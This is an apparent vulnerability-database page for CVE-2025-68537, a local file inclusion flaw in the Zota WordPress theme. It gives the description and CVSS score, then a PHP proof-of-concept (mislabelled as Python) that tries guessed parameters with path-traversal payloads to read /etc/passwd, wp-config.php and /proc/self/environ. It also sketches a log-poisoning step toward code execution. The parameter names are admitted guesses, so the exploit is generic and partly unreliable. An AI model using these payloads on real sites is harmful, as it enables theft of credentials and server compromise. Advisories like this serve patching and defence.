CVE-2025-68537

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Zota zota allows PHP Local File Inclusion.This issue affects Zota: from n/a through <= 1.3.14.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

themabay Zota WordPress主题 <= 1.3.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-68537 PoC - Zota Theme Local File Inclusion
 * Affected: themabay Zota WordPress Theme <= 1.3.14
 * Author: Security Research Team
 * Reference: https://patchstack.com/database/Wordpress/Theme/zota/vulnerability/wordpress-zota-theme-1-3-14-local-file-inclusion-vulnerability
 */

// Target configuration
$target = 'http://target-site.com/wp-content/themes/zota/';

// Common vulnerable parameters (need to be identified via source code analysis)
$vulnerable_params = [
    'file',
    'template',
    'page',
    'action',
    'view',
    'load',
    'include'
];

// Files to read for information disclosure
$target_files = [
    '/etc/passwd' => 'etc_passwd',
    '../../../../wp-config.php' => 'wp_config',
    '../../../../../../../etc/passwd' => 'etc_passwd_alt',
    '/proc/self/environ' => 'proc_environ',
    '/proc/self/cmdline' => 'proc_cmdline'
];

echo "[*] CVE-2025-68537 LFI Scanner for Zota Theme\n";
echo "[*] Target: $target\n\n";

foreach ($vulnerable_params as $param) {
    echo "[*] Testing parameter: $param\n";
    
    foreach ($target_files as $file => $name) {
        $payload = $target . "?" . $param . "=" . urlencode($file);
        echo "    [>] Trying: $file\n";
        
        $context = stream_context_create([
            'http' => [
                'method' => 'GET',
                'timeout' => 10,
                'ignore_errors' => true
            ]
        ]);
        
        $response = @file_get_contents($payload, false, $context);
        
        if ($response && strpos($response, 'root:') !== false) {
            echo "    [!] VULNERABLE! Found: $file\n";
            echo "    [>] Content preview:\n";
            echo substr($response, 0, 500) . "\n\n";
        }
    }
}

// RCE chain via log poisoning (if applicable)
function attempt_rce($target, $param) {
    // Step 1: Poison PHP session or log file
    $inject_payload = '<?php phpinfo(); ?>';
    
    // Step 2: Include poisoned file via LFI
    $lfi_payload = $target . "?" . $param . "=/var/log/apache2/access.log";
    
    return $lfi_payload;
}

echo "[*] Scan complete.\n";
echo "[*] Recommended action: Upgrade Zota theme to latest version.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68537
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68537
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68537/
[4] VulDB https://vuldb.com/cve/CVE-2025-68537
[5] https://patchstack.com/database/Wordpress/Theme/zota/vulnerability/wordpress-zota-theme-1-3-14-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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